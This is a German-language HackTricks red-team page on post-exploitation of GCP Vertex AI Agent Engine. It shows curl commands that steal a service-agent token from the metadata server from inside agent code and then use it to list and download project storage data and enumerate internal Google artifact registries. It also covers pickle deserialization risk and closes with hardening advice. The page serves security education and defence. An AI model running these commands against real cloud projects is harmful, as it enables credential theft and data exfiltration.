GCP - Vertex AI Post Exploitation

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks

Vertex AI Agent Engine / Reasoning Engine

Diese Seite konzentriert sich auf Vertex AI Agent Engine / Reasoning Engine Workloads, die vom Angreifer kontrollierte Tools oder Code innerhalb einer von Google verwalteten Runtime ausführen.

For the general Vertex AI overview check:

GCP - Vertex AI Enum

For classic Vertex AI privesc paths using custom jobs, models, and endpoints check:

GCP - Vertex AI Privesc

Why this service is special

Agent Engine führt ein nützliches, aber gefährliches Muster ein: von Entwicklern bereitgestellter Code, der innerhalb einer von Google verwalteten Runtime mit einer von Google verwalteten Identität ausgeführt wird.

Die interessanten Vertrauensgrenzen sind:

  • Consumer project: Ihr Projekt und Ihre Daten.
  • Producer project: Von Google verwaltetes Projekt, das den Backend-Service betreibt.
  • Tenant project: Von Google verwaltetes Projekt, das der bereitgestellten Agent-Instanz gewidmet ist.

Laut der Vertex AI IAM-Dokumentation von Google können Vertex AI-Ressourcen Vertex AI service agents als Ressourcen-Identitäten verwenden, und diese Service-Agents können standardmäßig schreibgeschützten Zugriff auf alle Cloud Storage-Ressourcen und BigQuery-Daten im Projekt haben. Wenn Code, der innerhalb von Agent Engine ausgeführt wird, die Runtime-Anmeldeinformationen stehlen kann, wird dieser Standardzugriff sofort interessant.

Main abuse path

  1. Einen Agenten bereitstellen oder ändern, sodass von Angreifern kontrollierter Tool-Code in der verwalteten Runtime ausgeführt wird.
  2. Den metadata server abfragen, um Projektidentität, Service-Account-Identität, OAuth-Scopes und Zugriffstoken wiederherzustellen.
  3. Das gestohlene Token als Vertex AI Reasoning Engine P4SA / service agent wiederverwenden.
  4. In das consumer project pivotieren und die vom service agent erlaubten projektweiten Storage-Daten lesen.
  5. In die producer- und tenant-Umgebungen pivotieren, die mit derselben Identität erreichbar sind.
  6. Interne Artifact Registry-Pakete auflisten und Tenant-Deployment-Artefakte extrahieren, wie Dockerfile.zip, requirements.txt und code.pkl.

Dies ist nicht nur ein “Code im eigenen Agent ausführen”-Problem. Das eigentliche Problem ist die Kombination aus:

  • über den metadata server zugängliche Anmeldeinformationen
  • breite Standard-Privilegien der Service-Agents
  • weitreichende OAuth-Scopes
  • Multi-Projekt-Vertrauensgrenzen, die hinter einem einzigen verwalteten Service verborgen sind

Enumeration

Identify Agent Engine resources

The resource name format used by Agent Engine is:

projects/<project-id>/locations/<location>/reasoningEngines/<reasoning-engine-id>

Wenn Sie ein Token mit Vertex AI-Zugriff haben, enumerieren Sie die Reasoning Engine API direkt:

PROJECT_ID=<project-id>
LOCATION=<location>

curl -s \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://${LOCATION}-aiplatform.googleapis.com/v1/projects/${PROJECT_ID}/locations/${LOCATION}/reasoningEngines"

Überprüfe Deployment-Logs, weil sie interne Producer-Artifact-Registry-Pfade leaken können, die während der Paketierung oder beim Start zur Laufzeit verwendet werden:

gcloud logging read \
'textPayload:("pkg.dev" OR "reasoning-engine") OR jsonPayload:("pkg.dev" OR "reasoning-engine")' \
--project <project-id> \
--limit 50 \
--format json

Die Unit 42-Untersuchung beobachtete interne Pfade wie:

us-docker.pkg.dev/cloud-aiplatform-private/reasoning-engine
us-docker.pkg.dev/cloud-aiplatform-private/llm-extension/reasoning-engine-py310:prod

Metadata-Credential-Diebstahl aus der Runtime

Wenn du Code innerhalb der Agent-Runtime ausführen kannst, frage zuerst den Metadata-Service ab:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/?recursive=true'

Interessante Felder umfassen:

  • Projektkennungen
  • das angehängte Servicekonto / Service-Agent
  • die dem Runtime zur Verfügung stehenden OAuth-Scopes

Fordere dann ein Token für die angehängte Identität an:

curl -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token'

Validieren Sie den token und prüfen Sie die gewährten scopes:

TOKEN="$(curl -s -H 'Metadata-Flavor: Google' \
'http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token' | jq -r .access_token)"

curl -s \
-H 'Content-Type: application/x-www-form-urlencoded' \
-d "access_token=${TOKEN}" \
https://www.googleapis.com/oauth2/v1/tokeninfo

Warning

Google hat Teile des ADK-Deployment-Workflows geändert, nachdem die Forschung gemeldet wurde, sodass alte Deployment-Snippets möglicherweise nicht mehr exakt mit dem aktuellen SDK übereinstimmen. Das wichtige Primitive bleibt jedoch dasselbe: wenn vom Angreifer kontrollierter Code innerhalb der Agent Engine runtime ausgeführt wird, werden aus Metadaten abgeleitete Anmeldeinformationen erreichbar, sofern nicht zusätzliche Kontrollen diesen Pfad blockieren.

Consumer-Projekt-Pivot: Service-Agent Datendiebstahl

Sobald das Runtime-Token gestohlen ist, teste den effektiven Zugriff des Service-Agenten auf das Consumer-Projekt.

Die dokumentierte riskante Standardberechtigung ist ein breiter Lesezugriff auf Projektdaten. Die Unit 42-Untersuchung hat insbesondere bestätigt:

  • storage.buckets.get
  • storage.buckets.list
  • storage.objects.get
  • storage.objects.list

Praktische Validierung mit dem gestohlenen Token:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<project-id>"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o"

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b/<bucket-name>/o/<url-encoded-object>?alt=media"

Dies verwandelt einen kompromittierten oder bösartigen Agenten in eine projektweite Speicher-Exfiltrationsprimitive.

Producer-Projekt-Pivot: interner Zugriff auf Artifact Registry

Die gleiche gestohlene Identität kann auch gegen von Google verwaltete Producer-Ressourcen eingesetzt werden.

Beginnen Sie damit, die internen Repository-URIs zu testen, die aus den Logs wiederhergestellt wurden. Anschließend listen Sie Pakete mit der Artifact Registry API auf:

packages_request = artifactregistry_service.projects().locations().repositories().packages().list(
parent=f"projects/{project_id}/locations/{location_id}/repositories/llm-extension"
)
packages_response = packages_request.execute()
packages = packages_response.get("packages", [])

Wenn Sie nur ein rohes bearer token haben, rufen Sie die REST API direkt auf:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://artifactregistry.googleapis.com/v1/projects/<producer-project>/locations/<location>/repositories/llm-extension/packages"

Das ist wertvoll, selbst wenn write access blockiert ist, weil es offenlegt:

  • interne Image-Namen
  • veraltete Images
  • Supply-Chain-Struktur
  • Paket-/Versions-Inventar für Folgeforschung

Für weitere Hintergrundinformationen zu Artifact Registry siehe:

GCP - Artifact Registry Enum

Tenant-Projekt-Pivot: Abruf von Deployment-Artefakten

Reasoning Engine deployments hinterlassen außerdem interessante Artefakte in einem tenant project, das für diese Instanz von Google kontrolliert wird.

Die Untersuchungen von Unit 42 ergaben:

  • Dockerfile.zip
  • code.pkl
  • requirements.txt

Verwenden Sie das gestohlene Token, um accessible storage zu enumerate und nach deployment artifacts zu suchen:

curl -s \
-H "Authorization: Bearer ${TOKEN}" \
"https://storage.googleapis.com/storage/v1/b?project=<tenant-project>"

Artefakte aus dem Tenant-Projekt können offenbaren:

  • interne Bucket-Namen
  • interne Image-Referenzen
  • Packaging-Annahmen
  • Abhängigkeitslisten
  • serialisierter Agent-Code

Der Blog beobachtete außerdem eine interne Referenz wie:

gs://reasoning-engine-restricted/versioned_py/Dockerfile.zip

Selbst wenn der referenzierte eingeschränkte Bucket nicht lesbar ist, helfen diese leaked paths dabei, die interne Infrastruktur zu kartieren.

code.pkl und bedingte RCE

Wenn die Deployment-Pipeline ausführbaren Zustand des Agenten im Python pickle-Format speichert, betrachte ihn als ein hochriskantes Ziel.

Das unmittelbare Problem ist Vertraulichkeit:

  • Offline-Deserialisierung kann code-Struktur offenlegen
  • Das Paketformat leaks Implementierungsdetails

Das größere Problem ist bedingte RCE:

  • wenn ein Angreifer das serialisierte Artefakt vor der serverseitigen Deserialisierung manipulieren kann
  • und die Pipeline später dieses pickle lädt
  • wird willkürliche code-Ausführung innerhalb der verwalteten Laufzeit möglich

Dies ist kein eigenständiger Exploit für sich. Es ist eine gefährliche Deserialisierungssenke, die kritisch wird, wenn sie mit irgendeiner Artefakt-Schreib- oder Lieferketten-Manipulations-Primitive kombiniert wird.

OAuth-Scopes und Workspace Blast-Radius

Die Metadaten-Antwort zeigt außerdem die an die Laufzeit angehängten OAuth-Scopes an.

Wenn diese Scopes weiter gefasst sind als unbedingt erforderlich, kann ein gestohlenes Token gegen mehr als nur GCP-APIs nützlich werden. IAM entscheidet weiterhin, ob die Identität autorisiert ist, aber weitreichende Scopes vergrößern den Blast-Radius und machen spätere Fehlkonfigurationen gefährlicher.

Wenn du Workspace-bezogene Scopes findest, überprüfe, ob die kompromittierte Identität auch einen Pfad zur Workspace-Impersonation oder zu delegiertem Zugriff hat:

GCP <–> Workspace Pivoting

Hardening / detection

Bevorzuge ein benutzerdefiniertes Servicekonto gegenüber der standardmäßigen verwalteten Identität

Die aktuelle Agent Engine-Dokumentation unterstützt das Setzen eines benutzerdefinierten Servicekontos für den deployten Agenten. Das ist der sauberste Weg, den Blast-Radius zu reduzieren:

  • Entferne die Abhängigkeit vom standardmäßig breit gefassten Service-Agent
  • Gewähre nur die minimalen Berechtigungen, die der Agent benötigt
  • Mache die Laufzeitidentität auditierbar und bewusst eingeschränkt

Überprüfe den tatsächlichen Zugriff des Service-Agenten

Überprüfe den effektiven Zugriff des Vertex AI Service-Agenten in jedem Projekt, in dem Agent Engine verwendet wird:

gcloud projects get-iam-policy <project-id> \
--format json | jq '
.bindings[]
| select(any(.members[]?; contains("gcp-sa-aiplatform") or contains("aiplatform-re")))
'

Konzentrieren Sie sich darauf, ob die angehängte Identität lesen kann:

  • alle GCS-Buckets
  • BigQuery-Datasets
  • Artifact Registry-Repositories
  • Secrets oder interne Registries, die von Build-/Deployment-Workflows erreichbar sind

Treat agent code as privileged code execution

Jedes vom Agenten ausgeführte Tool/Funktion sollte so geprüft werden, als wäre es Code, der auf einer VM mit Metadata-Zugriff läuft. In der Praxis bedeutet das:

  • Überprüfen Sie Agent-Tools auf direkten HTTP-Zugriff auf Metadata-Endpunkte
  • Überprüfen Sie Logs auf Verweise zu internen pkg.dev Repositories und Tenant-Buckets
  • Überprüfen Sie jeden Packaging-Pfad, der ausführbaren Zustand als pickle speichert

References

Tip

Lerne & übe AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lerne & übe GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lerne & übe Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstütze HackTricks